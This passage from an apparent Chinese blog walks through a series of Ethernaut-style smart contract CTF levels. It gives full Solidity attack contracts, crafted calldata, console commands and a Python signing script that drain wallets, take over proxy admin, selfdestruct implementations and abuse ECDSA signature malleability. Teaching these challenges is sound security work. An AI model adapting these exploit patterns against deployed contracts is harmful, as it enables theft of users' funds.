mapping(address => uint256) public balanceof;
IDEXTwo public DEX;
address public DEX_addr;
address public token1;
address public token2;
address public AttackToken;
constructor(address _DEX) {
DEX_addr = _DEX;
DEX = IDEXTwo(DEX_addr);
token1 = DEX.token1();
token2 = DEX.token2();
}
function transferFrom(address from, address to, uint256 amount) public returns(bool) {
require(balanceof[from] >= amount);
balanceof[from] -= amount;
balanceof[to] += amount;
return true;
}
function balanceOf(address owner) public view returns(uint256) {
return balanceof[owner];
}
function attack() external {
AttackToken = address(this); //AttackToken的地址
balanceof[AttackToken] = 10; //给本合约10个AttackToken代币
IERC20(AttackToken).transferFrom(AttackToken, DEX_addr, 1); //给题目地址1个代币,防止分母为0
/*
先交换token1,根据公式一个AttackToken即可换走全部token1
获得token1数量 = 交换的AttackToken数量 * 题目合约的token1数量 / 题目合约的AttackToken数量
100 = 1 * 100 / 1
*/
DEX.swap(AttackToken, token1, 1);
/*
再交换token2,根据公式两个AttackToken即可换走全部token2
获得token2数量 = 交换的AttackToken数量 * 题目合约的token2数量 / 题目合约的AttackToken数量
100 = 2 * 100 / 2
*/
DEX.swap(AttackToken, token2, 2);
}
}
部署后调用attack()
成功就完成了。
目标:成为合约的admin
考察可升级智能合约与智能合约代理模式
分析代码可知:
PuzzleProxy
是一个可升级代理合约,使用代理模式(通过 delegatecall)调用 PuzzleWallet 的逻辑。
PuzzleWallet
是一个钱包合约,允许白名单用户存款、取款和执行交易,包含 multicall 函数来批量处理交易。
两个合约共享存储槽,导致存储变量冲突(PuzzleProxy.pendingAdmin
覆盖 PuzzleWallet.owner
,PuzzleProxy.admin
对应 PuzzleWallet.maxBalance
)
PuzzleWallet.multicall
允许多次 delegatecall
,但对 deposit
的 msg.value
只检查一次。嵌套 multicall 调用 deposit 可重复记录 msg.value,膨胀 balances 映射中的余额。比如转 1 ETH,记录两次,最终余额显示为 2 ETH。
使用攻击合约逐步覆盖
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPuzzleWallet {
function addToWhitelist(address addr) external;
function deposit() external payable;
function multicall(bytes[] calldata data) external payable;
function execute(address to, uint256 value, bytes calldata data) external;
function setMaxBalance(uint256 _maxBalance) external;
function maxBalance() external view returns (uint256);
}
interface IPuzzleProxy {
function proposeNewAdmin(address _newAdmin) external;
}
contract PuzzleWalletAttack {
IPuzzleWallet public wallet;
IPuzzleProxy public proxy;
//因为链上实际只有 Proxy 的一个地址,调用代理合约时它会把未命中的方法通过 delegatecall 委托给实现合约执行;
//所以这里只用传入代理地址,即题目中的实例地址,看起来像是“一个地址实现了两个接口”
constructor(address _addr) {
wallet = IPuzzleWallet(_addr);
proxy = IPuzzleProxy(_addr);
}
function attack() external payable {
// 步骤 1: 调用 proposeNewAdmin 将 pendingAdmin 和 owner 设置为攻击合约地址
proxy.proposeNewAdmin(address(this));
// 步骤 2: 将攻击合约加入白名单
wallet.addToWhitelist(address(this));
// 步骤 3: 构造 multicall 数据以利用存款漏洞
bytes[] memory depositData = new bytes[](1);
depositData[0] = abi.encodeWithSelector(wallet.deposit.selector);
bytes[] memory multicallData = new bytes[](2);
multicallData[0] = depositData[0]; // 第一次 deposit
multicallData[1] = abi.encodeWithSelector(wallet.multicall.selector, depositData); // 嵌套 multicall 调用 deposit
// 发送 0.001 ETH (1 finney) ,记录为 0.002 ETH 的余额
wallet.multicall{value: msg.value}(multicallData);
// 步骤 4: 耗尽钱包资金
wallet.execute(msg.sender, 0.002 ether, "");
// 步骤 5: 设置 maxBalance 为玩家地址,成为 admin
wallet.setMaxBalance(uint256(uint160(msg.sender)));
}
// 接收 ETH
receive() external payable {}
}
调用attack()
,value = 0.001 eth
目标:使Engine 合约selfdestruct
考察EIP-1967 存储槽 和 UUPS 可升级模式漏洞
分析代码,有两个合约:
Motorbike (Proxy) 这是一个 proxy,遵循 EIP-1967 标准,将逻辑合约地址(Engine)存储在固定槽里:
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;`
fallback()
使用 _delegate
,把所有调用转发给 Engine。
构造函数会调用一次 initialize()
,设置 Engine 的状态。
Engine (逻辑合约)
继承 Initializable
,只有在未初始化时才能执行 initialize()
。
initialize()
设置 horsePower = 1000
,并把 upgrader = msg.sender
。
有一个 upgradeToAndCall
函数,允许升级逻辑,但只允许 upgrader
调用。
漏洞点: Engine 本身也是一个合约,拥有独立的存储和状态。 代理合约只是把调用转发给 Engine,但我们可以直接调用 Engine 的地址,而不是通过 Proxy。
因为 initialize()
是 initializer
修饰的(只限制调用一次per storage), 而 Proxy 调用时用的是 Proxy 的存储槽,Engine 自己的存储并没有被标记为已初始化。
所以我们可以直接对 Engine 调用 initialize()
,把自己设为 upgrader
,然后调用 Engine
的 upgradeToAndCall()
,升级到攻击合约并立即调用 kill()
。 因为 delegatecall
是在 Engine 的上下文中执行的,所以 selfdestruct()
直接销毁 Engine 合约本身
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IEngine {
function initialize() external;
function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}
contract Motorbike {
IEngine public engine;
constructor(address _engine) {
engine = IEngine(_engine);
}
function attack() public {
engine.initialize();
bytes memory data = abi.encodeWithSelector(this.kill.selector);
engine.upgradeToAndCall(address(this), data);
}
function kill() public {
selfdestruct(payable(tx.origin));
}
}
先获取engine
的地址,
const slot = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
const engine = "0x" +(await web3.eth.getStorageAt(contract.address, slot)).slice(26);
然后在部署合约时传入engine地址,调用attack()
。
目前这道题目好像有问题,详情请到Github查看。
目的:设计并注册检测机器人以触发正确的警报
题目共有4类合约 Vault:持有 100 DET(underlying)+ 100 LGT。 LegacyToken:旧代币,可以被设置为 delegate = DoubleEntryPoint。 DoubleEntryPoint:新代币,负责处理 LegacyToken 转账的委托。 Forta:监控系统,依赖检测机器人。
如果有人调用 CryptoVault.sweepToken(LGT)
:
Vault 会把所有 LGT 发出去。
但这个转账实际走的是 LGT.transfer → DET.delegateTransfer。
所以 Vault 的 DET 余额(underlying)就会被间接动用。
为了防止这个漏洞,需要机器人在 Forta 里检测:delegateTransfer 的 origSender 是否是 Vault。如果是,触发警报并回滚。
机器人合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IForta {
function raiseAlert(address user) external;
}
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
contract DetectionBot is IDetectionBot {
IForta public forta;
address public cryptoVault;
constructor(address _forta, address _cryptoVault) {
forta = IForta(_forta);
cryptoVault = _cryptoVault;
}
// 仅检测 calldata 是否为 delegateTransfer(...) 且 origSender == cryptoVault
function handleTransaction(address user, bytes calldata msgData) external override {
// 需要读取 calldata 的 selector 和第三个参数(origSender)
bytes4 selector;
address origSender;
assembly {
// 第一个 32 bytes 包含 selector at its highest-order 4 bytes
// 读取 selector(calldataload 读取从 msgData.offset 开始的 32 字节)
selector := calldataload(msgData.offset)
// origSender 是第 3 个参数:在 calldata 中偏移为:
// 4 (selector) + 32 (param1) + 32 (param2) = 68 bytes -> 所以 offset = msgData.offset + 68
origSender := calldataload(add(msgData.offset, 68))
}
// 计算 delegateTransfer(address,uint256,address) 的 selector 动态比较
bytes4 delegateSel = bytes4(keccak256("delegateTransfer(address,uint256,address)"));
// 注意:上面 assembly 读取 selector 时包含在高位(左对齐),但 bytes4(...) 比较是兼容的
if (selector == delegateSel && origSender == cryptoVault) {
// 若发现对 vault 发起的 delegateTransfer,就 raiseAlert
forta.raiseAlert(user);
}
}
}
在控制台运行
const bot = "刚部署的合约地址"`
const fortaAbi = [ { "constant": false, "inputs": [{"name":"detectionBotAddress","type":"address"}], "name":"setDetectionBot", "outputs": [], "type":"function" }, { "constant": true, "inputs": [{"name":"user","type":"address"}], "name":"usersDetectionBots", "outputs":[{"name":"","type":"address"}], "type":"function" } ];
forta = await new web3.eth.Contract(Abi, contract.forta());
await forta.methods.setDetectionBot(bot).send({ from: player });
就可以提交了。
目标:耗尽 GoodSamaritan 合约的钱包中所有代币余额
分析代码可知:
GoodSamaritan: 核心合约,管理捐赠流程,允许请求者通过 requestDonation 获取 10 个代币或剩余余额,存在错误处理漏洞。
Coin: 代币合约,管理余额和转账逻辑,初始分配 1,000,000 代币给 Wallet,并在转账到合约时调用 notify。
Wallet: 存储代币的钱包合约,由 GoodSamaritan 控制,负责执行捐赠(10 个代币)或转出全部余额。
在 donate10()
中,coin.transfer(dest_, 10)
会触发目标合约的 notify(10)
函数,在 notify
函数中,我们可以抛出自定义错误,抛出 NotEnoughBalance
错误,GoodSamaritan
会捕获它,并调用 transferRemainder()
,从而转出钱包的全部余额。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}
contract GoodSamaritanAttack {
error NotEnoughBalance();
IGoodSamaritan goodSamaritan;
constructor(address _addr) {
goodSamaritan = IGoodSamaritan(_addr);
}
function notify(uint256 amount) public pure {
if(amount == 10) {
revert NotEnoughBalance();
}
}
function attack() public {
goodSamaritan.requestDonation();
}
}
部署时传入实例地址,然后调用attack()
目标:绕过条件限制调用 enter() 函数将自己注册为 entrant
//gate1:调用者和交易发起者不同
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
//gate2:allowEntrance == true,根据相关代码可知,需要调用 getAllowance 并传入正确的 password(block.timestamp)
modifier gateTwo() {
require(allowEntrance == true);
_;
}
//gate3:合约余额 > 0.001 ether 且向 owner 发送 0.001 ether 失败
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
思路
gate1 需要一个攻击合约来调用function construct0r()
,合约地址成为owner
gate2 在调用 createTrick()
后使用 block.timestamp
作为 _password
调用 getAllowance()
,就能在一笔交易中进行
gate3 向 GatekeeperThree
发送 > 0.001
ether,且攻击合约没有 receive()
函数或拒绝以太坊,send
失败
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGateThree {
function construct0r() external ;
function createTrick() external ;
function getAllowance(uint256 _password) external ;
function enter() external ;
}
contract GateThree {
IGateThree gate;
constructor(address _gate){
gate = IGateThree(_gate);
}
function attack() payable public {
require(msg.value > 0.001 ether, "Send at least 1 finney");
gate.construct0r();
gate.createTrick();
gate.getAllowance(block.timestamp);
// 显式发送以太坊到 GatekeeperThree
(bool sent, ) = address(gate).call{value: msg.value}("");
require(sent, "Failed to send ether");
gate.enter();
}
}
调用attack()
,需 value>0.001eth。
目标:调用 Switch 合约的 flipSwitch() 函数,将 switchOn 从 false 切换为 true
//受 onlyOff 修饰器限制,检查 calldata 偏移 68 处的 4 字节是否为 offSelector
function flipSwitch(bytes memory _data) public onlyOff {
(bool success,) = address(this).call(_data);
require(success, "call failed :(");
}
//受onlythis限制,无法直接调用
function turnSwitchOn() public onlyThis {
switchOn = true;
}
flipSwitch()
使用 address(this).call(_data)
执行 _data
,允许间接调用 turnSwitchOn()
onlyOff
检查 calldata
偏移 68 处的 4 字节是否为 offSelector
可以构造 _data
,使偏移 68 处包含 offSelector
,但实际调用 turnSwitchOn()
的选择器。
构造data
1.函数选择器,占4字节,bytes4(keccak256("flipSwitch(bytes)"))
30c13ade
2.偏移,占32字节,表示此位置距离数据开始位置的长度,bytes32(uint256(96))
0000000000000000000000000000000000000000000000000000000000000060
3.填充至67,bytes32(0)
0000000000000000000000000000000000000000000000000000000000000000
4.68处填入要检查的4字节,bytes4(keccak256("turnSwitchOff()"))
20606e15
5.填充至数据开始位置,bytes28(0)
00000000000000000000000000000000000000000000000000000000
6.数据长度,占32字节,bytes32(uint256(4))
0000000000000000000000000000000000000000000000000000000000000004
7.数据,内容为调用turnSwitchOn() ,bytes4(keccak256("turnSwitchOn()"))
476227e1200000000000000000000000000000000000000000000000000000000
命令:
await sendTransaction({from: player, to: contract.address, data: '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000'})
目标:成为commander
分析代码得知需要满足treasury > 255
,而registerTreasury(uint8)
入参的最大值为255,但是这部分代码
assembly {
sstore(treasury_slot, calldataload(4))
}
会把 calldata
偏移 4 开始的 32 字节原封不动写入 storage 中 treasury
对应的存储槽。
接下来构造data,
1.函数选择器,bytes4(keccak256("registerTreasury(uint8)"))
211c85ab
2.一个大于255的数,以32字节形式,0x100=256
0000000000000000000000000000000000000000000000000000000000000100
拼接得到
data:'0x211c85ab0000000000000000000000000000000000000000000000000000000000000100'
执行2条命令
await sendTransaction({from:player, to: contract.address, data:'0x211c85ab0000000000000000000000000000000000000000000000000000000000000100'});
await contract.claimLeadership();
目标
totalStaked > ETH balance
Stakers[player] == true
UserStake[player] == 0
分析代码得知,存入ETH或WETH时,totalStaked
都会增加,但Unstaked()
时,只会给原生 ETH。
思路
StakeETH()
→ 变成 Staker,合约有 ETH 余额。StakeWETH()
→ totalStaked
会加很多,但 ETH 余额不变。Unstake()
把之前的 ETH 全部拿回,令UserStake=0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IStake {
function StakeETH() external payable;
function StakeWETH(uint256 amount) external returns (bool);
function Unstake(uint256 amount) external returns (bool);
function WETH() external view returns (address);
}
interface IWETH {
function approve(address spender, uint256 amount) external returns (bool);
}
contract Stake {
IStake stake;
constructor(address _stake) {
stake = IStake(_stake);
}
function attack() public payable {
stake.StakeETH{value:msg.value}();
address WETH = stake.WETH();
IWETH(WETH).approve(address(stake), 100 ether);
stake.StakeWETH(100 ether);
stake.Unstake(msg.value * 2);
}
}
调用attack()
时value大于0.001ETH。
目标:使 任意人能够打开锁(触发 Open
事件),或改控制器(调用 changeController()
)。
合约重点 验证函数 _isValidSignature(v,r,s)
:
ecrecover(msgHash, v,r,s)
得到地址,检查 == controller
。signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]))
,检查 !usedSignatures[signatureHash]
,然后 usedSignatures[signatureHash] = true
.关键漏洞
ECDSA 签名可锻性:
以太坊的 ECDSA 签名 (r, s, v) 可被转换为等价的 (r, N-s, v'),其中:
ecrecover(msgHash, v, r, s)
和 ecrecover(msgHash, v', r, N-s)
恢复相同的地址。
ECLocker 漏洞:
changeController(uint8 v, bytes32 r, bytes32 s, address newController)
允许用有效签名更改 controller
。controller
改为 0x0(null 地址),任何无效签名(例如,v=0, r=0, s=0)都会通过获取签名
const event = await contract.getPastEvents("NewLock", {fromBlock:9291255, toBlock:"latest"});
const sig = event[0].returnValues.signature;
sig = '0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9178489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2000000000000000000000000000000000000000000000000000000000000001b'
提取相关参数
r = 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91
s = 0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2
v = 0x1b
计算得到
r = 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91
s‘ = 0x87b7639b5f24e93bf106794133370f950d5e9b00f5b5c8cbd866a487529b814f
v' = 0x1c
在钱包查看交易,在etherscan中查看,得到ECLocker地址
复制ECLocker代码到remix,在at address
输入地址。
然后调用changeController()
,输入计算得到的参数
交易成功后调用controller
看到地址变成了0
然后调用open()
,输入
v:0
r:0x0000000000000000000000000000000000000000000000000000000000000000
s:0x0000000000000000000000000000000000000000000000000000000000000000
目标:破坏合约结构 可能的具体目标包括:
漏洞:
位移不一致
//在setAnimalAndSpin函数中,动物名称的位置是第 255 到 176 位,占80位
//0xFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000
carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
| ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);
//而在 changeAnimal 函数中,动物名称占第 255 至 160 位。占96位
//0xFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000
carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);
这多占的16位,即 nextCrateId 字段,这意味着可以通过精心构造的动物名称控制 nextCrateId,从而破坏旋转木马的循环链表结构。
所有权
在 changeAnimal 函数中
address owner = address(uint160(crate & OWNER_MASK));
if (owner != address(0)) {
require(msg.sender == owner);
}
如果箱子的所有者字段为 0x0,任何用户都可以调用 changeAnimal()
修改该箱子。
初始时,carousel[0] 的所有者字段为 0(构造函数仅设置 nextCrateId),因此任何用户可以修改 carousel[0]。
所以尝试设置 carousel[0] 的 nextCrateId 设为最大值,以此破坏循坏结构。
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IMAC {
function setAnimalAndSpin(string calldata animal) external;
function changeAnimal(string calldata animal, uint256 crateId) external;
}
contract AttackMagicAC {
IMAC mac;
constructor(address _addr) {
mac = IMAC(_addr);
}
function attack() public {
string memory data = string(abi.encodePacked(hex"10000000000000000000FFFF"));
mac.changeAnimal(data, 1);
}
}
目标:调用 BetHouse.makeBet(address bettor_) 函数玩家地址的 bettors[address] 设置为 true
条件是需要玩家的wrappedToken
余额需 ≥ 20
玩家初始拥有 5 个 depositToken
,可存入 0.001 ether(仅一次)获取 10 个 wrappedToken
,再把 5 个depositToken
转为wrappedToken
,得到15个wrappedToken
,但是还不够20个。
漏洞:
function withdrawAll() external nonReentrant {
uint256 _depositedValue = depositedPDT[msg.sender]; //用户将wrappedToken转走后depositedPDT[msg.sender]未更改状态
if (_depositedValue > 0) {
depositedPDT[msg.sender] = 0;
PoolToken(depositToken).transfer(msg.sender, _depositedValue);
}
_depositedValue = depositedEther[msg.sender];
if (_depositedValue > 0) {
depositedEther[msg.sender] = 0;
payable(msg.sender).call{value: _depositedValue}("");
}
PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}
如果在调用 withdrawAll()
前将 wrappedToken
转移到另一个地址, depositedPDT
和 depositedEther
仍被返还。
思路:
先附带0.01ETH调用deposit(5)
,得到15个wrappedToken
,此时depositedPDT[msg.sender] == 5
然后将15个wrappedToken
全部转到另一个地址,此时状态未更新,依旧是depositedPDT[msg.sender] == 5
接着调用withdrawAll()
得到5个depositToken
再次调用deposit(5)
,不用带ETH,可以得到5个wrappedToken
把之前的15个转回此账户
调用lockDeposits()
后再调用makeBet()
题目一共涉及4个合约,分别是
BetHouse
:地址就是控制台的contract.address
Pool
:通过await web3.eth.getStorageAt(contract.address, 0)
获取
PoolToken(depositToken)
:通过Pool合约的depositToken()
PoolToken(wrappedToken)
:通过Pool合约的wrappedToken()
先拿到前两个的地址,使用remix的At address连接合约实例后再获取后两个的地址,
全部连接后按照思路操作。
目标:窃取ALICE的token
漏洞
permit()
函数在验证 token 持有者签名时,直接使用 bytes32(amount) 作为 ECDSA 签名的摘要(ECDSA.recover(bytes32(amount), tokenOwnerSignature)),而不是对其进行 keccak256 哈希。
这与 redeemVoucher()
函数中使用 keccak256(abi.encodePacked(...)) 形成哈希的做法不一致。permit()
函数允许将任何值(如 redeemVoucher 的 voucherHash)直接作为 amount,攻击者可以利用 ECDSA 签名的模 n 同余特性,找到一个不同的 amount 值(permit_amount),其签名仍然有效。permit()
函数检查 usedHashes[bytes32(permit_amount)],但通过选择一个与 voucherHash 模 n 同余但字节表示不同的 permit_amount,可以绕过此检查。步骤:
找到交易数据中调用redeemVoucher()
的data
该函数的签名为 0xbeb30836
因为bytes4(keccak256("redeemVoucher(uint256,address,bytes32,bytes,bytes)")) = 0xbeb30836
在etherscan查看生成实例时的交易数据,找到内部交易Internal Txns
,打开ADVANCE MODE,每项交易最左侧都能展开查看详细信息,找到以0xbeb30836
开头的input data。
接下来解析得到amount
, receiver
, salt
, ownerSignature
, receiverSignature
function parseRedeemVoucher(bytes calldata data)
external
returns (uint256, address, bytes32, bytes memory, bytes memory)
{
require(data.length >= 4, "data too short");
bytes calldata payload = data[4:]; // strip selector
// expected abi: (uint256 amount, address receiver, bytes32 salt, bytes ownerSignature, bytes receiverSignature)
(amount, receiver, salt, ownerSignature, receiverSignature) = abi.decode(payload, (uint256, address, bytes32, bytes, bytes));
return (amount, receiver, salt, ownerSignature, receiverSignature);
}
结果:
amount = 10000000000000000000
receiver = 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e
salt = 0x04a078de06d9d2ebd86ab2ae9c2b872b26e345d33f988d6d5d875f94e9c8ee1e
ownerSignature = 0x085a4f70d03930425d3d92b19b9d4e37672a9224ee2cd68381a9854bb3673ef86b35cfdeee0fb1d2168587fb188eefb4fe046109af063bf85d9d3d6859ceb4451c
receiverSignature = 0xab1dcd2a2a1c697715a62eb6522b7999d04aa952ffa2619988737ee675d9494f2b50ecce40040bcb29b5a8ca1da875968085f22b7c0a50f29a4851396251de121c
下一步计算
voucherHash
, amountForPermit
, permitAcceptHash
function calculate() public view returns (bytes32 voucherHash, uint256 amountForPermit, bytes32 permitAcceptHash) {
require(receiver != address(0), "no parsed voucher");
voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
amountForPermit = uint256(voucherHash);
permitAcceptHash = keccak256(abi.encodePacked(receiver, controller, amountForPermit));
}
生成签名(使用python)
from eth_keys import keys
from eth_account.messages import encode_defunct
# 输入参数
ATTACKER_PRIVATE_KEY_HEX = "攻击者私钥"
permit_accept_hash = "0x1b8dc92ebc0a2b40803130fcc3fba2a2f7eae873341f21233133bbdb33c75b76"
# 将私钥转换为字节
priv = bytes.fromhex(ATTACKER_PRIVATE_KEY_HEX.replace("0x", ""))
pk = keys.PrivateKey(priv)
# 将 permit_accept_hash 转换为字节
hash_bytes = bytes.fromhex(permit_accept_hash.replace("0x", ""))
# 为以太坊签名添加标准前缀(EIP-191)
message = encode_defunct(hash_bytes)
message_hash = message.body # 提取 SignableMessage 的哈希字节
# 生成签名
sig = pk.sign_msg_hash(message_hash)
# 提取 r, s, v,并调整 v 为 27 或 28
r = sig.r.to_bytes(32, 'big')
s = sig.s.to_bytes(32, 'big')
v = bytes([sig.v + 27]) # 将 v 从 0/1 转换为 27/28
# 拼接签名 (r || s || v)
spender_signature = "0x" + (r + s + v).hex()
# 输出结果
print("Generated spenderSignature (r||s||v):", spender_signature)
print(" r = 0x" + r.hex())
print(" s = 0x" + s.hex())
print(" v =", sig.v + 27)
执行攻击
function exploit(bytes calldata spenderSignature) external {
require(msg.sender == controller, "only controller");
require(receiver != address(0), "no parsed voucher");
// recompute voucherHash and amountForPermit
bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
uint256 amountForPermit = uint256(voucherHash);
// Call permit: grant allowance to controller (attacker EOA)
IEllipticToken(token).permit(amountForPermit, controller, receiverSignature, spenderSignature);
// read alice balance to return
uint256 aliceBalance = IEllipticToken(token).balanceOf(receiver);
}
到此只是拿到授权,最后还要在控制台调用transferFrom()
转走Token
await contract.transferFrom("0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e", player, "10000000000000000000");
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!